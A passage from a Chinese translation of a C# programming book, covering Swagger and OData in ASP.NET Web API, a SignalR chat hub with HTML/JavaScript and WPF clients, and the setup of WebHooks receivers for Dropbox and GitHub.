IBookChapterRepository时,创建这个类的一个实例(代码文件 BookServiceAsyncSample/Startup.cs): public async void ConfigureServices(IServiceCollection services) { services.AddMvc().AddXmlSerializerFormatters(); // comment the following three lines to use the DookChaptersRepository //IBookChaptersRepository repos = new SampleBookChaptersRepository(); //services.AddSingleton<IBookChaptersRepository>(repos); //await repos.InitAsync(); services.AddEntityFramework() .AddSqlServer() .AddDbContext<BooksContext>(options => options.UseSqlServer( Configuration["Data:BookConnection:ConnectionString"])); services.AddSingleton<IBookChaptersRepository, BookChaptersRepository>(); } 现在,不改变控制器或客户端,就可以再次运行服务和客户端。根据最初在数据库中 输入的数据,可以看到GET/POST/PUT/DELETE请求的结果。 42.6 创建元数据 为服务创建元数据允许获得服务的描述,并允许使用这种元数据创建客户端。通过使 用SOAP的Web服务,元数据和Web服务描述语言(WSDL)自SOAP的早期就已经存在。 WSDL详见第44章。如今,REST服务的元数据也在这里。目前它不像WSDL那样是一个 标准,但描述API的最流行的框架是Swagger(http://www.swagger.io)。自2016年1月起, Swagger规范已经更名为OpenAPI,成为一个标准(http://www.openapis.org)。 要给ASP.NET Web API服务添加Swagger或OpenAPI,可以使用Swashbuckle。NuGet 包Swashbuckle.SwaggerGen包含生成Swagger的代码,包Swashbuckle.SwaggerUi提供了一 个动态创建的用户界面。这两个包都用于扩展BooksServiceSample项目。 在添加NuGet包之后,需要把Swagger添加到服务集合中。AddSwaggerGen是一个扩 展方法,可以把Swagger服务添加到集合中。为了配置Swagger,调用方法 ConfigureSwaggerDocument和ConfigureSwaggerSchema。ConfigureSwaggerGen配置标题、 描述和API版本,以及定义生成的JSON模式。示例代码配置为不显示过时的属性,而枚举 值应显示为字符串(代码文件BooksServiceSample/Startup.cs): public void ConfigureServices(IServiceCollection services) { // Add framework services. services.AddMvc(); IBookChaptersRepository repos = new SampleBookChaptersRepository(); repos.Init(); services.AddSingleton<IBookChaptersRepository>(repos); services.AddSwaggerGen(); services.ConfigureSwaggerDocument(options => { options.SingleApiVersion(new Info { Version = "v1", Title = "Book Chapters", Description = "A sample for Professional C# 6" }); options.IgnoreObsoleteActions(); options.IgnoreObsoleteProperties(); options.DescribeAllEnumsAsStrings(); } } 剩下的就是在Startup类的Configure方法中配置Swagger。扩展方法UseSwagger指定应 该生成一个JSON模式文件。可以用UseSwagger配置的默认URL 是/swagger/{version}/swagger.json。对于前面代码段中配置的文档,URL 是/swagger/v1/swagger.json。方法UseSwaggerUi定义了Swagger用户界面的URL。使用没有 参数的方法的话,URL是swagger/ui。当然,使用UseSwaggerUi的不同重载方法可以改变 这个URL: public void Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerFactory) { loggerFactory.AddConsole(Configuration.GetSection("Logging")); loggerFactory.AddDebug(); app.UseIISPlatformHandler(); app.UseStaticFiles(); app.UseMvc(); app.UseSwagger(); app.UseSwaggerUi(); } 配置Swagger后运行应用程序,可以看到服务提供的API信息。图42-3显示了 BooksService-Sample提供的API、Values服务生成的模板和BooksService示例,还可以看到 用Swagger文档配置的标题和描述。 图42-3 图42-4显示了BookChapters服务的细节。可以看到每个API的细节,包括模型,还测 试了API调用。 图42-4 42.7 创建和使用OData服务 ASP.NET Web API为OData(Open Data Protocol)提供了直接支持。OData通过HTTP 协议提供了对数据源的CRUD访问。发送GET请求会检索一组实体数据,POST请求会创 建一个新实体,PUT请求会更新已有的实体,DELETE请求会删除实体。前面介绍了映射 到控制器中动作方法的HTTP方法。OData基于JSON和AtomPub(一种XML格式)进行数 据序列化。ASP.NET Web API也有这个功能。OData提供的其他功能有:每个资源都可以 用简单的URL查询来访问。为了说明其工作方式以及ASP.NET Web API如何实现这个功 能,下面举例说明,从一个数据库开始。 对于服务应用程序BooksODataService,为了提供OData,需要添加NuGet包 Microsoft.AspNet. OData。要使用OData与ASP.NET Core 1.0,至少需要版本6的 Microsoft.AspNet.OData包。示例服务允许查询Book和Chapter对象,以及它们之间的关 系。 42.7.1 创建数据模型 示例服务为模型定义了Book和Chapter类。Book类定义了简单的属性以及与Chapter类 型的一对多关系(代码文件BooksODataService/Models/Book.cs): public class Book { public Book() { Chapters = new List<Book>(); } public int BookId { get; set; } public string Isbn { get; set; } public string Title { get; set; } public List<Chapter> Chapters { get; } } Chapter类定义了简单的属性以及与Book类型的多对一关系(代码文件 BooksODataService/Models/Book.cs): public class Chapter { public int ChapterId { get; set; } public int BookId { get; set; } public Book Book { get; set; } public string Title { get; set; } public int Number { get; set; } public string Intro { get; set; } } BooksContext类定义了Books和Chapters,以及SQL数据库关系(代码文件 BooksODataService/Models/BooksContext.cs): public class BooksContext: DbContext { public DbSet<Book> Books { get; set; } public DbSet<Chapter> Chapters { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); EntityTypeBuilder<Book> bookBuilder = modelBuilder.Entity<Book>(); bookBuilder.HasMany(b => b.Chapters) .WithOne(c => c.Book) .HasForeignKey(c => c.BookId); bookBuilder.Property<string>(b => b.Title) .HasMaxLength(120) .IsRequired(); bookBuilder.Property<string>(b => b.Isbn) .HasMaxLength(20) .IsRequired(false); EntityTypeBuilder<Chapter> chapterBuilder = modelBuilder.Entity<Chapter>( ); chapterBuilder.Property<string>(c => c.Title) .HasMaxLength(120); } } 42.7.2 创建服务 在ASP.NET Core 5中,很容易添加OData服务。不需要对控制器进行许多改变。当 然,需要把OData添加到依赖注入容器中(代码文件BooksODataService/Startup.cs): public void ConfigureServices(IServiceCollection services) { services.AddMvc(); services.AddEntityFramework() .AddSqlServer() .AddDbContext<BooksContext>(options => options.UseSqlServer( Configuration["Data:BookConnection:ConnectionString"])); services.AddOData(); } BooksController类只需要应用EnableQuery特性。这会把它建立为一个OData控制器。 可以使用OData查询访问控制器。应用到BooksController类的Route特性定义了路径的odata 前缀。这只是一个约定,可以随意修改路径(代码文件 BooksODataService/Controllers/BooksController.cs): [EnableQuery] [Route("odata/[controller]")] public class BooksController: Controller { private readonly BooksContext _booksContext; public BooksController(BooksContext booksContext) { _booksContext = booksContext; } [HttpGet] public IEnumerable<Book> GetBooks() => _booksContext.Books.Include(b => b.Chapters).ToList(); // GET api/values/5 [HttpGet("{id}")] public Book GetBook(int id) => _booksContext.Books.SingleOrDefault(b => b.BookId == id); // etc. } 除了EnableQuery特性的变化以外,控制器不需要其他特殊的动作。 42.7.3 OData查询 使用下面的URL很容易获得数据库中的所有图书(端口号可能与读者的系统不同): http://localhost:50000/odata/Books 要只获取一本书,可以把该书的标识符和URL一起传递给方法。这个请求会调用 GetBook动作方法,并传递返回单一结果的键: http://localhost:50000/odata/Books(9) 每本书都有多个结果。在一个URL查询中,还可以获取一本书的所有章: http://localhost:50000/odata/Books(9)/Chapters OData提供的查询选项多于ASP.NET Web API支持的选项。OData规范允许给服务器 传递参数,以分页、筛选和排序。下面介绍这些选项。 为了只给客户端返回数量有限的实体,客户端可以使用$top参数限制数量。也允许使 用$skip进行分页;例如,可以跳过3个结果,再提取3个结果: http://localhost:50000/odata/Books? $top=3&$skip=3 使用$top和$skip选项,客户端可确定要检索的实体数。如果希望限制客户端可以请求 的内容,例如一个调用不应请求上百万条记录,那么可以配置EnableQuery特性来限制这 个方面。把PageSize设置为10,一次最多返回10个实体: [EnableQuery(PageSize=10)] EnableQuery特性还有一些命名参数来限制查询,例如最大的top和skip值、最大的扩 展深度以及排序的限制。 为了根据Book类的属性筛选请求,可以将$filter选项应用于Book的属性。为了筛选出 Wrox出版社出版的图书,可以使用eq操作符(等于)和$filter选项: http://localhost:50000/odata/Books? $filter=Publisher eq 'Wrox Press' $filter选项还可以与lt(小于)和gt(大于)操作符一起使用。下面的请求仅返回页数 大于40的章: http://localhost:50000/odata/Chapters? $filter=Pages gt 40 为了请求有序的结果,$orderby选项定义了排序顺序。添加desc关键字按降序排序: http://localhost:50000/odata/Book(9)/Chapters? $orderby=Pages%20desc 使用HttpClient类很容易给服务发出所有这些请求。但是,还有其他选项,例如使用 WCF Data Services创建的代理。  注意: 对于服务,还可以设置EnableQuery特性的AllowedQueryOptions,以 限制查询选项。也可以使用属性AllowedLogicalOperators和AllowedArithmeticOperators 限制逻辑和算术运算符。 42.8 小结 本章描述了ASP.NET Web API的功能,它现在是ASP.NET MVC的一部分。这种技术 允许使用HttpClient类创建服务,并在任何客户端(无论是JavaScript还是.NET客户端)调 用。返回JSON或XML。 依赖注入已经用于本书的好几章中,尤其是第31章。本章介绍了很容易把使用字典 的、基于内存的存储库替换为使用Entity Framework的存储库。 本章还介绍了OData,它使用资源标识符,很容易引用树中的数据。 下一章继续讨论Web技术,提供发布和订阅技术的信息,例如WebHooks和SignalR。 第43章 WebHooks和SignaIR 本章要点 ● SignalR概述 ● 创建SignalR集线器 ● 用HTML和JavaScript创建SignalR客户端 ● 创建SignalR .NET客户端 ● 使用分组和SignalR ● WebHooks概述 ● 为GitHub和Dropbox创建WebHook接收器 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● 使用SignalR的聊天服务器 ● 使用SignalR的WPF聊天客户端 ● SaaS WebHooks接收器示例 43.1 概述 通过.NET可以使用事件获得通知。通过事件可以注册一个事件处理方法,也称为订 阅事件。一旦另一个地方触发事件,就调用方法。事件不能用于Web应用程序。 前面的章节介绍了很多关于Web应用程序和Web服务的内容。这些应用程序和服务的 共同点是,请求总是从客户应用程序发出。客户端发出一个HTTP请求,接收响应。 如果服务器有一些消息要发布,该怎么办?我们没有可以订阅的事件。不过使用到目 前为止介绍的Web技术,这可以通过客户端轮询新信息来解决。客户端必须向服务器发出 一个请求,询问是否有新信息。根据定义的请求间隔,这样的通信会导致网络上的请求有 很高的负载,导致“没有新信息可用”或客户端错过实际的信息,请求新信息时,接收到的 信息已经旧了。 如果客户端本身就是一个Web应用程序,则通信的方向可以反转,服务器可以给客户 端发送消息。这是WebHooks的工作方式。 由于客户端在防火墙后面,服务器使用HTTP协议无法向客户端发起连接。连接总是 需要从客户端启动。因为HTTP连接是无状态的,客户端经常不能连接到除端口80以外的 端口上,所以WebSocket可以提供帮助。WebSocket通过一个HTTP请求启动,但是它们升 级到一直打开的WebSocket连接。使用WebSocket协议,一旦服务器有新信息,服务器就 可以通过打开的连接给客户端发送信息。  注意: 在低级API调用中使用WebSocket的内容参见第25章。 SignalR是一个ASP.NET Web技术,在WebSocket上提供了一个简单的抽象。使用 SignalR比使用套接字接口编程更容易。另外,如果客户端不支持WebSocket API,则 SignalR会自动切换到一个轮询机制,无须修改程序。  注意: 在撰写本书时,SignalR for ASP.NET Core 1.0还不可用。所以本章介 绍了使用SignalR 2、使用ASP.NET 4.6和ASP NET Web API 2的内容。SignalR 3 for ASP.NET Core 1.0的其他示例可以访问http://www.github.com/ProfessionalCSharp,因为 SignalR 3是可用的。 WebHooks是许多SaaS(软件即服务)提供者提供的一个技术。可以注册这样一个提 供者,给服务提供者提供一个公共Web API。这样,只要有可用的新信息,服务提供者就 可以尽快回调(call back)。 本章介绍了SignalR和WebHooks。这些技术是相辅相成的,可以结合使用。 43.2 SignalR的体系结构 SignalR包含多个NuGet包(如表43-1所示),可以用于服务器和客户端。 表43-1 NuGet包 说明 Microsoft.AspNet.SignalR 这个包引用其他包,用于服务器端实现 Microsoft.AspNet.SignalR.Core 这是SignalR的核心包。这个包包含Hub类 Microsoft.AspNet.SignalR.SystemWeb 这个NuGet包包含对ASP.NET 4.x的扩展, 用来定义路由 Microsoft.AspNet.SignalR.JavaScript 这个NuGet包包含用于SignalR客户端的 JavaScript库 Microsoft.AspNet.SignalR.Client 这个NuGet包包含用于.NET客户端的类 型。HubProxy用于连接到集线器 有了SignalR,服务器会定义一个供客户端连接的集线器(参见图43-1)。集线器维 护着到每个客户端的连接。使用集线器,可以将消息发送给连接的每一个客户端。消息可 以发送到所有客户端,或选择特定的客户端或客户端组来发送消息。 图43-1 43.3 使用SignalR的简单聊天程序 第一个SignalR示例是一个聊天应用程序,使用SignalR很容易创建它。在这个应用程 序中,可以启动多个客户端,通过SignalR集线器相互通信。当一个客户应用程序发送消 息时,所有连接的客户端都会依次接收此消息。 服务器应用程序用ASP.NET 4.6编写,一个客户应用程序用HTML和JavaScript创建, 另一个客户应用程序是使用WPF用户界面的.NET应用程序。 43.3.1 创建集线器 如前所述,ASP.NET Core不支持SignalR——至少撰写本书时不支持。所以是先使用 新的ASP.NET Web Application创建集线器,选择Empty ASP.NET 4.6模板,并命名为 ChatServer。创建项目后,添加一个新项,并选择SignalR Hub Class(参见图43-2)。添加 这个条目还增加了服务器端需要的NuGet包。 图43-2 为了定义SignalR的URL,可以创建一个OWIN Startup类(使用OWIN Startup Class项 模板),给Configuration方法添加MapSignalR的调用。MapSignalR方法定义了signalR URI,作为请求SignalR集线器的路径(代码文件ChatServer/Startup. cs): using Microsoft.Owin; using Owin; [assembly: OwinStartup(typeof(ChatServer.Startup))] namespace ChatServer { public class Startup { public void Configuration(IAppBuilder app) { app.MapSignalR(); } } } SignalR的主要功能用集线器定义。集线器由客户端间接调用,接着客户端被调用。 ChatHub类派生自基类Hub,以获得所需的集线器功能。Send方法定义为由客户应用程序 调用,把消息发送到其他客户程序。可以使用任何方法名称与任意数量的参数。客户端代 码只需要匹配方法名和参数。为了给客户端发送消息,使用Hub类的Clients属性。Clients 属性返回一个IHubCallerConnectContext<dynamic>,它允许把消息发送给特定的客户端或 所有连接的客户端。示例代码使用All属性给所有连接的客户端调用BroadcastMessage。 All属性(Hub类是其基类)返回一个dynamic对象。这样,就可以调用任何方法名称并使 用任意数量的参数,客户端代码只需要匹配它们(代码文件ChatServer/ChatHub.cs): public class ChatHub: Hub { public void Send(string name, string message) { Clients.All.BroadcastMessage(name, message); } }  注意: dynamic类型参见第16章。  注意: 在集线器的实现中可以不使用dynamic类型,而采用客户端调用的方 法定义自己的接口。在添加分组功能时,其步骤参见本章后面的43.4节。 43.3.2 用HTML和JavaScript创建客户端 使用SignalR JavaScript库,可以轻松地创建一个HTML/JavaScript客户端,来使用 SignalR集线器。客户端代码连接到SignalR集线器,调用Send方法,并添加一个处理程序 来接收BroadcastMessage方法。 对于用户界面,定义了两个简单的输入元素,允许输入名称和要发送的消息,然后定 义一个按钮来调用Send方法,最后定义一个无序列表来显示所有接收到的消息(代码文件 ChatServer/ChatWindow.html): Enter your name <input type="text" id="name" /> <br /> Message <input type="text" id="message" /> <button type="button" id="sendmessage">Send</button> <br /> <ul id="messages"> </ul> 需要包含的脚本如下面的代码段所示。版本可能会与读者的实现有所不同。 jquery.signalR定义了SignalR实现的客户端功能。集线器代理用来调用SignalR服务器。对 脚本signalr/hubs的引用包含自动生成的脚本代码,这些代码创建了集线器代理,匹配集线 器代码中的自定义代码(代码文件ChatServer/ChatWindow.html): <script src="Scripts/jquery-1.11.3.js"></script> <script src="Scripts/jquery.signalR-2.2.0.js"></script> <script src="signalr/hubs"></script> 包括脚本文件后,可以创建自定义脚本代码来调用集线器和收听广播。在下面的代码 段中,$.connection.chatHub返回一个集线器代理来调用ChatHub类的方法。chat是一个变 量,定义为使用这个变量,而不是访问$.connection.chatHub。通过把一个函数赋予 chat.client.broadcastMessage,就定义了服务器端集线器代码调用BroadcastMessage时调用 的函数。BroadcastMessage方法为名称和消息传递两个字符串参数,所以所声明的函数匹 配相同的参数。参数值被添加到列表项元素中的无序列表项。定义broadcastMessage调用 的实现代码后,用$.connection.hub.start()启动连接,以连接服务器。连接的启动完成 后,就调用分配给done函数的函数。这里,定义了sendmessage按钮的单击处理程序。单 击这个按钮时,使用chat.server.send把一条消息发送到服务器,传递两个字符串值(代码 文件ChatServer/ChatWindow.html): <script> $(function () { var chat = $.connection.chatHub; chat.client.broadcastMessage = function (name, message) { var encodedName = $('<div />').text(name).html(); var encodedMessage = $('<div />').text(message).html(); $('#messages').append('<li>' + encodedName + ': &nbsp; &nbsp; ' + encodedMessage + '</li>'); }; $.connection.hub.start().done(function () { $('#sendmessage').click(function () { chat.server.send($('#name').val(), $('#message').val()); $('#message').val(''); $('#message').focus(); }); }); }); </script> 运行应用程序时,可以打开多个浏览器窗口——甚至可以使用多种浏览器,为聊天输 入名称和消息(参见图43-3)。 图43-3 使用Internet Explorer Developer Tools(在Internet Explorer打开时按F12功能键),可 以使用Network Monitoring查看从HTTP协议到WebSocket协议的升级,如图43-4所示。 图43-4 43.3.3 创建SignalR .NET客户端 使用SignalR服务器的示例.NET客户应用程序是一个WPF应用程序。其功能类似于前 面所示的HTML/JavaScript应用程序。该应用程序使用下列NuGet包和名称空间: NuGet包 Microsoft.AspNet.SignalR.Client Microsoft.Extensions.DependencyInjection Newtonsoft.Json 名称空间 Microsoft.AspNet.SignalR.Client Microsoft.Extensions.DependencyInjection System System.Collections.ObjectModel System.Net.Http System.Windows WPF应用程序的用户界面定义了两个文本框、两个按钮和一个列表框元素,用于输 入名称和消息、连接到服务集线器并显示接收到的消息列表(代码文件 WPFChatClient/MainWindow.xaml): <TextBlock Text="Name" /> <TextBox Text="{Binding ViewModel.Name, Mode=TwoWay}" /> <Button Content="Connect" Command="{Binding ViewModel.ConnectCommand}" /> <TextBlock Text="Message" /> <TextBox Text="{Binding ViewModel.Message, Mode=TwoWay}" /> <Button Content="Send" Command="{Binding ViewModel.SendCommand, Mode=OneTime} " /> <ListBox ItemsSource="{Binding ViewModel.Messages, Mode=OneWay}" /> 在应用程序的启动代码中,定义了依赖注入容器,注册了服务以及视图模型(代码文 件WPFChatClient/App.xaml.cs): public partial class App: Application { protected override void OnStartup(StartupEventArgs e) { base.OnStartup(e); IServiceCollection services = new ServiceCollection(); services.AddTransient<ChatViewModel>(); services.AddTransient<GroupChatViewModel>(); services.AddSingleton<IMessagingService, MessagingService>(); Container = services.BuildServiceProvider(); } public IServiceProvider Container { get; private set; } } 在视图的代码隐藏文件中,使用依赖注入容器把ChatViewModel分配给ViewModel属 性(代码文件WPFChatClient/MainWindow.xaml.cs): public partial class MainWindow: Window { public MainWindow() { InitializeComponent(); this.DataContext = this; } public ChatViewModel ViewModel { get; } = (App.Current as App).Container.GetService<ChatViewModel>(); }  注意: WPF参见第34章。Model-View-ViewModel(MVVM)模式参见第31 章。 集线器特定的代码在ChatViewModel类中实现。首先看看绑定属性和命令。绑定属性 Name用于输入聊天名称,Message属性用于输入消息。ConnectCommand属性映射到 OnConnect方法上,发起对服务器的连接;SendCommand属性映射到OnSendMessage方法 上,发送聊天消息(代码文件WPFChatClient/ViewModels/ChatViewModel.cs): public sealed class ChatViewModel: IDisposable { private const string ServerURI = "http://localhost:45269/signalr"; private readonly IMessagingService _messagingService; public ChatViewModel(IMessagingService messagingService) { _messagingService = messagingService; ConnectCommand = new DelegateCommand(OnConnect); SendCommand = new DelegateCommand(OnSendMessage); } public string Name { get; set; } public string Message { get; set; } public ObservableCollection<string> Messages { get; } = new ObservableCollection<string>(); public DelegateCommand SendCommand { get; } public DelegateCommand ConnectCommand { get; } // etc. } OnConnect方法发起到服务器的连接。首先,给服务器传递URL,创建一个新的 HubConnection对象。有了HubConnection,可以使用CreateHubProxy传递集线器的名称, 创建代理。使用代理可以调用服务的方法。为了用服务器返回的信息注册,调用On方 法。传递给On方法的第一个参数定义由服务器调用的方法名称,第二个参数定义待调用 方法的委托。方法OnMessageReceived的参数用On方法的泛型参数指定:两个字符串。最 后为了发起连接,调用HubConnection实例的Start方法(代码文件 WPFChatClient/ViewModels/ChatViewModel.cs): private HubConnection _hubConnection; private IHubProxy _hubProxy; public async void OnConnect() { CloseConnection(); _hubConnection = new HubConnection(ServerURI); _hubConnection.Closed += HubConnectionClosed; _hubProxy = _hubConnection.CreateHubProxy("ChatHub"); _hubProxy.On<string, string>("BroadcastMessage", OnMessageReceived); try { await _hubConnection.Start(); } catch (HttpRequestException ex) { _messagingService.ShowMessage(ex.Message); } _messagingService.ShowMessage("client connected"); } 给SignalR发送消息只需要调用IHubProxy的Invoke方法。第一个参数是服务器应该调 用的方法名称,其后的参数是服务器上方法的参数(代码文件 WPFChatClient/ViewModels/ChatViewModel.cs): public void OnSendMessage() { _hubProxy.Invoke("Send", Name, Message); } 收到消息时,调用OnMessageReceived方法。因为这个方法从后台线程中调用,所以 需要切换回更新绑定属性和集合的UI线程(代码文件 WPFChatClient/ViewModels/ChatViewModel.cs): public void OnMessageReceived(string name, string message) { App.Current.Dispatcher.Invoke(() => { Messages.Add($"{name}: {message}"); }); } 运行应用程序时,可以从WPF客户端收发消息,如图43-5所示。也可以同时打开Web 页面,在它们之间通信。 图43-5 43.4 分组连接 通常不希望与所有客户端通信,而是希望与一组客户端交流。SignalR支持这种情 形。 本节用分组功能添加另一个聊天集线器,也看看使用SignalR集线器时的其他选项。 WPF客户应用程序扩展为输入分组,给选中的分组发送消息。 43.4.1 用分组扩展集线器 为了支持分组聊天,应创建类GroupChatHub。在以前的集线器中,学习了如何使用 dynamic关键字来定义发送到客户端的消息。不使用dynamic类型的话,也可以创建一个自 定义界面,如下面的代码段所示。这个接口用作基类Hub的泛型参数(代码文件 ChatServer/GroupChatHub.cs): public interface IGroupClient { void MessageToGroup(string groupName, string name, string message); } public class GroupChatHub: Hub<IGroupClient> { // etc. } AddGroup和LeaveGroup方法被定义为由客户端调用。注册分组后,客户端用 AddGroup方法发送一个组名。Hub类定义了Groups属性,在其中可以注册对组的连接。 Hub类的Groups属性返回IGroupManager。这个接口定义了两个方法:Add和Remove。这 两个方法需要一个组名和一个连接标识符,来添加或删除对组指定的连接。连接标识符是 与客户端连接关联的唯一标识符。客户端连接标识符以及客户端的其他信息可以用Hub类 的Context属性访问。下面的代码段调用IGroupManager的Add方法向连接注册一个分组, Remove方法则用于注销分组(代码文件ChatServer/GroupChatHub.cs): public Task AddGroup(string groupName) => Groups.Add(Context.ConnectionId, groupName); public Task LeaveGroup(string groupName) => Groups.Remove(Context.ConnectionId, groupName);  注意: Hub类的Context属性返回一个HubCallerContext类型的对象。通过这个 类,不仅可以访问与连接相关联的连接标识符,还可以访问客户端的其他信息,如 HTTP请求中的标题、查询字符串和cookie信息,以及访问用户的信息。此信息可以用 于用户的身份验证。 调用Send方法(这次使用三个参数,包括分组)可把信息发送给与分组相关联的所有 连接。现在Clients属性用于调用Group方法。Group方法接受一个分组字符串,用于把 MessageToGroup消息发送给所有与组名相关联的连接。在Group方法的一个重载版本中, 可以添加应该排除在外的连接ID。因为Hub实现了接口IGroupClient,所以Groups方法返 回IGroupClient。这样,MessageToGroup方法可以使用编译时支持调用(代码文件 ChatServer/GroupChatHub.cs): public void Send(string group, string name, string message) { Clients.Group(group).MessageToGroup(group, name, message); } 其他几个扩展方法定义为将信息发送到一组客户端连接。前面介绍了Group方法将消 息发送到用组名指定的一组连接。使用这个方法,可以排除客户端连接。例如,发送消息 的客户端可能不需要接收它。Groups方法接受一个组名列表,消息应该发送给它们。前面 讨论过All属性给所有连接的客户端发送消息。OthersInGroup和OthersInGroups是拒绝把消 息发送给调用者的方法。这些方法把消息发送给不包括调用者的特定分组或分组列表。 也可以将消息发送到不基于内置分组功能的自定义分组。在这里,它有助于重写 OnConnected、OnDisconnected和OnReconnected方法。每次客户端连接时,都调用 OnConnected方法;客户端断开连接时,调用OnDisconnected方法。在这些方法中,可以 访问Hub类的Context属性,访问客户端信息以及与客户端关联的连接ID。在这里,可以把 连接信息写入共享状态,允许使用多个实例伸缩服务器,访问同一个共享状态。也可以根 据自己的业务逻辑选择客户端,或在向具有特定权限的客户端发送消息时实现优先级。 public override Task OnConnected() { return base.OnConnected(); } public override Task OnDisconnected(bool stopCalled) { return base.OnDisconnected(stopCalled); } 43.4.2 用分组扩展WPF客户端 集线器的分组功能准备好后,可以扩展WPF客户端应用程序。对于分组功能,定义 另一个与GroupChatViewModel类相关联的XAML页面。 与前面定义的ChatViewModel相比,GroupChatViewModel类定义了更多的属性和命 令。NewGroup属性定义了用户注册的分组。SelectedGroup属性定义了用于继续通信的分 组,例如给分组发送消息或退出分组。SelectedGroup属性需要更改通知,以在改变这个属 性时更新用户界面;所以INotifyPropertyChanged接口用GroupChatViewModel类实现, SelectedGroup属性的set访问器触发一个通知。另外还定义了加入和退出分组的命令: EnterGroupCommand和LeaveGroupCommand属性(代码文件 WPFChatClient/ViewModels/GroupChatViewModel.cs): public sealed class GroupChatViewModel: IDisposable, INotifyPropertyChanged { private readonly IMessagingService _messagingService; public GroupChatViewModel(IMessagingService messagingService) { _messagingService = messagingService; ConnectCommand = new DelegateCommand(OnConnect); SendCommand = new DelegateCommand(OnSendMessage); EnterGroupCommand = new DelegateCommand(OnEnterGroup); LeaveGroupCommand = new DelegateCommand(OnLeaveGroup); } private const string ServerURI = "http://localhost:45269/signalr"; public event PropertyChangedEventHandler PropertyChanged; public string Name { get; set; } public string Message { get; set; } public string NewGroup { get; set; } private string _selectedGroup; public string SelectedGroup { get { return _selectedGroup; } set { _selectedGroup = value; PropertyChanged? .Invoke(this, new PropertyChangedEventArgs( nameof(SelectedGroup))); } } public ObservableCollection<string> Messages { get; } = new ObservableCollection<string>(); public ObservableCollection<string> Groups { get; } = new ObservableCollection<string>(); public DelegateCommand SendCommand { get; } public DelegateCommand ConnectCommand { get; } public DelegateCommand EnterGroupCommand { get; } public DelegateCommand LeaveGroupCommand { get; } // etc. } EnterGroupCommand和LeaveGroupCommand命令的处理方法如下面的代码段所示。 这里,AddGroup和RemoveGroup方法在分组集线器中调用(代码文件 WPFChatClient/ViewModels/Group-ChatViewModel.cs): public async void OnEnterGroup() { try { await _hubProxy.Invoke("AddGroup", NewGroup); Groups.Add(NewGroup); SelectedGroup = NewGroup; } catch (Exception ex) { _messagingService.ShowMessage(ex.Message); } } public async void OnLeaveGroup() { try { await _hubProxy.Invoke("RemoveGroup", SelectedGroup); Groups.Remove(SelectedGroup); } catch (Exception ex) { _messagingService.ShowMessage(ex.Message); } } 发送和接收消息非常类似于前面的示例,区别是现在添加了分组信息(代码文件 WPFChatClient/ViewModels/GroupChatViewModel.cs): public async void OnSendMessage() { try { await _hubProxy.Invoke("Send", SelectedGroup, Name, Message); } catch (Exception ex) { _messagingService.ShowMessage(ex.Message); } } public void OnMessageReceived(string group, string name, string message) { App.Current.Dispatcher.Invoke(() => { Messages.Add($"{group}-{name}: {message}"); }); } 运行应用程序时,可以为所有已经加入的分组发送消息,查看所有已注册分组收到的 消息,如图43-6所示。 图43-6 43.5 WebHooks的体系结构 WebHooks通过Web应用程序提供了发布/订阅功能。这是WebHooks和SignalR之间唯 一的相似之处。在其他方面,WebHooks和SignalR大不相同,但可以彼此利用。在讨论如 何联合使用它们之前,先概述WebHooks。 在WebHooks中,可以把SaaS(软件即服务)服务调入网站。只需要向SaaS服务注册 网站。接着SaaS服务调用网站(参见图43-7)。在网站上,接收控制器从WebHooks发送 器中接收所有消息,并将其转发给相应的接收器。接收器验证安全性,检查消息是否来自 已注册的发送器,然后将消息转发给处理程序。处理程序包含处理请求的自定义代码。 图43-7 与SignalR技术相反,发送器和接收器并不总是连接起来的。接收器只提供了一个服 务API,由发送器在需要时调用。接收器需要在公共互联网地址上可用。 WebHooks的优点是在接收端易于使用,支持接收来自许多SaaS提供者的消息,如 Dropbox, GitHub、WordPress、PayPal、Slack、SalesForce等。每星期都会涌现出更多的新 提供者。 创建发送器并不比创建接收器容易,但ASP.NET Framework提供了大力支持。发送器 需要WebHook接收器的一个注册选项,这通常使用Web UI完成。当然,也可以通过编程 方式创建一个Web API来注册。注册后,发送器收到来自接收器的密钥和需要调用的 URL。这个密钥由接收器验证,只允许具备该密钥的发送器使用。发送器触发事件时,就 启动WebHook,实际上这涉及调用接收器的Web服务,传递(大部分)JSON信息。 Microsoft的ASP.NET NuGet包WebHooks可以抽象出差异,便于为不同的服务实现接 收器。也很容易创建ASP.NET Web API服务,验证发送器发出的密钥,把调用转发给自 定义处理程序。 为了查看WebHooks的易用性和优点,下面的示例应用程序创建Dropbox和GitHub接 收器。当创建多个接收器时,可以看到提供者和NuGet包提供的功能之间的区别。可以用 类似方式给其他SaaS提供者创建一个接收器。 43.6 创建Dropbox和GitHub接收器 为了创建并运行Dropbox和GitHub接收器示例,需要GitHub和Dropbox账户。对于 GitHub,需要存储库的管理员访问权限。当然,为了学习WebHooks,最好只使用这些技 术之一。无论使用什么服务,要使用所有的接收器,只需要设法让网站公开可用,例如发 布到Microsoft Azure上。 Dropbox(http://www.dropbox.com)在云上提供了一个文件存储。可以在其中保存文 件和目录,并与他人分享。有了WebHooks,可以收到Dropbox存储中的更改信息,例如 添加、修改和删除文件时可以收到通知。 GitHub(http://www.github.com)提供源代码存储库。.NET Core和ASP.NET Core 1.0 在GitHub的公共存储库上可用,本书的源代码也可用 (http://www.github.com/ProfessionalCSharp/Professional-CSharp6)。有了GitHub WebHook,就可以接收推送事件的信息或对存储库的所有更改,如分叉、Wiki页面的更 新、问题等。 43.6.1 创建Web应用程序 首先创建一个名为SaasWebHooksReceiverSample的ASP.NET Web Application。选择 ASP.NET 4.6 Templates中的MVC,并添加Web API选项(参见图43-8)。 图43-8 接下来,添加NuGet包Microsoft.AspNet.WebHooks.Receivers.Dropbox和 Microsoft.AspNet. WebHooks.Receivers.GitHub。这些NuGet包支持从Dropbox和GitHub上接 收消息。使用NuGet包管理器,会发现更多支持其他SaaS服务的NuGet包。 43.6.2 为Dropbox和GitHub配置WebHooks 调用扩展方法InitializeReceiveDropboxWebHooks可以为Dropbox初始化WebHooks,调 用扩展方法InitializeReceiveGitHubWebHooks可以为GitHub初始化WebHooks。在启动代码 中通过HttpConfiguration调用这些方法(代码文件 SaaSWebHooksReceiverSample/App_Start/WebApiConfig.cs): using System.Web.Http; namespace SaaSWebHooksReceiverSample { public static class WebApiConfig { public static void Register(HttpConfiguration config) { config.MapHttpAttributeRoutes(); 